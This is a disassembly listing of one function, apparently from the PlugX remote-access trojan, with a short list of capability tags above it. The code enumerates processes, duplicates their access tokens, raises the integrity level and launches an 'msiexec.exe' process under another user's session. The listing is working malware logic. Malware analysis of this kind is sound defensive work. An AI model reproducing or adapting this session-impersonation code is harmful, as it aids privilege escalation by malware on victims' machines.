Function at 0x1001cf80
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x20e4
call fcn.10027d10
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x6c]
push 0x1000
mov dword [esp + 0x18], edi
call fcn.10006420
mov eax, dword [0x1002d3e8]
test eax, eax
jne 0x1001cfda
mov eax, dword [0x1002d3e4]
test eax, eax
jne 0x1001cfc9
push str.psapi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002d3e4], eax
push str.EnumProcesses
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002d3e8], eax
lea ecx, [esp + 0x4c]
push ecx
push 0x1000
push dword [esp + 0x78]
call eax
test eax, eax
jne 0x1001d00e
push eax
mov edx, 0xc0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001d66f
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
test dword [esp + 0x4c], 0xfffffffc
mov dword [esp + 0x1c], esi
jbe 0x1001d612
nop dword [eax + eax]
mov eax, dword [esp + 0x70]
mov eax, dword [eax + esi*4]
test eax, eax
je 0x1001d5fe
cmp eax, 4
je 0x1001d5fe
cmp eax, 8
je 0x1001d5fe
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x1001d5fe
mov eax, dword [esp + 0xc]
cmp eax, 0x20
jae 0x1001d5fe
imul eax, eax, 0x34
cmp dword [eax + edi + 8], 0
jne 0x1001d5fe
mov eax, dword [esp + 0x70]
mov dword [esp + 0x10], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x24], 0
push dword [eax + esi*4]
push 0
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x1001d53f
lea eax, [esp + 0x10]
push eax
push 0x2000000
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1001d53f
lea eax, [esp + 0x18]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1001d53f
mov eax, dword [0x10031090]
mov dword [esp + 0x48], 0
test eax, eax
jne 0x1001d12c
mov eax, dword [0x1003108c]
test eax, eax
jne 0x1001d11b
push str.advapi32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1003108c], eax
push str.ConvertStringSidToSidW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10031090], eax
lea ecx, [esp + 0x48]
push ecx
push str.S_1_16_12288
call eax
test eax, eax
jne 0x1001d14f
push eax
mov edx, 0x101
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x48]
push eax
mov dword [esp + 0x6c], 0x20
mov dword [esp + 0x68], eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 8
push eax
lea eax, [esp + 0x68]
push eax
push 0x19
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
lea eax, [esp + 0x20]
push eax
push 0x2000
lea eax, [esp + 0xf8]
push eax
push 1
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1001d1b5
push eax
mov edx, 0x112
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
jmp 0x1001d53f
mov ecx, dword [esp + 0xf0]
cmp byte [ecx], 1
jne 0x1001d53f
cmp byte [ecx + 2], 0
jne 0x1001d53f
cmp byte [ecx + 3], 0
jne 0x1001d53f
cmp byte [ecx + 4], 0
jne 0x1001d53f
cmp byte [ecx + 5], 0
jne 0x1001d53f
cmp byte [ecx + 6], 0
jne 0x1001d53f
cmp byte [ecx + 7], 5
jne 0x1001d53f
cmp byte [ecx + 1], 5
jne 0x1001d53f
cmp dword [ecx + 8], 0x15
jne 0x1001d53f
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x28
push eax
lea eax, [esp + 0xd0]
add edx, 0xc
push eax
lea eax, [esp + 0x2c]
push eax
imul eax, dword [esp + 0x1c], 0x34
add eax, edx
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
jne 0x1001d268
push eax
mov edx, 0x12b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
jmp 0x1001d53f
mov eax, dword [0x10031088]
mov esi, dword [esp + 0x10]
test eax, eax
jne 0x1001d29f
mov eax, dword [0x10031084]
test eax, eax
jne 0x1001d28e
push str.userenv
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10031084], eax
push str.CreateEnvironmentBlock
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10031088], eax
push 0
push esi
lea ecx, [esp + 0x2c]
push ecx
call eax
test eax, eax
jne 0x1001d2c0
push eax
mov edx, 0x130
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
push 0x44
xor edx, edx
lea ecx, [esp + 0x84]
call fcn.100242ad
add esp, 4
mov dword [esp + 0x80], 0x44
mov eax, 1
mov dword [esp + 0xac], 1
xor edx, edx
mov word [esp + 0xb0], ax
lea ecx, [esp + 0x50]
push 0x10
call fcn.100242ad
add esp, 4
mov dword [esp + 0x3c], 0
lea ecx, [esp + 0x38]
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x38], 0
call fcn.1001adc0
test eax, eax
je 0x1001d347
push 0
mov edx, 0x143
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
push 0x1000
lea ecx, [esp + 0x2c]
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x2c], 0
call fcn.100064b0
test eax, eax
je 0x1001d38d
push 0
mov edx, 0x14a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, dword [esp + 0x34]
push eax
push 0xd1
push dword [esp + 0x4c]
push str._smsiexec.exe__d__d
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x84]
push eax
push 0
push dword [esp + 0x30]
push 0x434
push 0
push 0
push 0
push esi
push 0
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x1001d3e9
mov edx, 0x153
jmp 0x1001d4da
mov eax, dword [ebp + 8]
mov edx, dword [esp + 0x54]
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x60], 0
push dword [eax + 0x10]
push dword [eax + 0xc]
lea eax, [esp + 0x68]
push eax
call fcn.1000c8b0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1001d4a3
push esi
mov edx, 0x15a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
mov edx, 0x15b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
push esi
call fcn.10024152
add esp, 4
mov edx, 0x15c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
push esi
call fcn.10024152
add esp, 4
push 0
push dword [esp + 0x54]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1001d475
push eax
mov edx, 0x160
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
push dword [esp + 0x50]
call ebx
test eax, eax
jne 0x1001d492
push eax
mov edx, 0x165
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
push dword [esp + 0x54]
call ebx
test eax, eax
jne 0x1001d4e9
mov edx, 0x16a
jmp 0x1001d4da
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x14]
imul eax, ecx, 0x34
mov dword [eax + edx], ecx
imul ecx, dword [esp + 0xc], 0x34
mov eax, dword [esp + 0x58]
mov dword [ecx + edx + 4], eax
imul ecx, dword [esp + 0xc], 0x34
mov eax, dword [esp + 0x50]
mov dword [ecx + edx + 8], eax
push dword [esp + 0x54]
call ebx
test eax, eax
jne 0x1001d4e9
mov edx, 0x176
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x1001d514
push 1
push eax
call fcn.10027bcc
add esp, 8
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x2c], 0
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x1001d53f
push 1
push eax
call fcn.10027bcc
mov dword [esp + 0x48], 0
add esp, 8
mov dword [esp + 0x44], 0
mov dword [esp + 0x3c], 0
mov esi, dword [esp + 0x24]
test esi, esi
je 0x1001d594
mov eax, dword [0x10031080]
test eax, eax
jne 0x1001d57a
mov eax, dword [0x10031084]
test eax, eax
jne 0x1001d569
push str.userenv
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10031084], eax
push str.DestroyEnvironmentBlock
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10031080], eax
push esi
call eax
test eax, eax
jne 0x1001d594
push eax
mov edx, 0x183
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
test edi, edi
je 0x1001d5b2
push edi
call ebx
test eax, eax
jne 0x1001d5b2
push eax
mov edx, 0x18b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001d5d4
push eax
call ebx
test eax, eax
jne 0x1001d5d4
push eax
mov edx, 0x193
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1001d5f6
push eax
call ebx
test eax, eax
jne 0x1001d5f6
push eax
mov edx, 0x19b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x4c]
inc esi
shr eax, 2
mov dword [esp + 0x1c], esi
cmp esi, eax
jl 0x1001d030
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea esi, [edi + 8]
mov edi, 0x20
mov eax, dword [esi]
test eax, eax
je 0x1001d665
push 0
push eax
call ebx
cmp eax, 0x102
je 0x1001d665
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1001d651
push eax
mov edx, 0x1b0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXSessionImpersonate.cpp
call fcn.10024152
add esp, 4
mov dword [esi - 8], 0xffffffff
mov dword [esi - 4], 0
mov dword [esi], 0
add esi, 0x34
sub edi, 1
jne 0x1001d620
xor esi, esi
mov eax, dword [esp + 0x70]
test eax, eax
je 0x1001d682
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4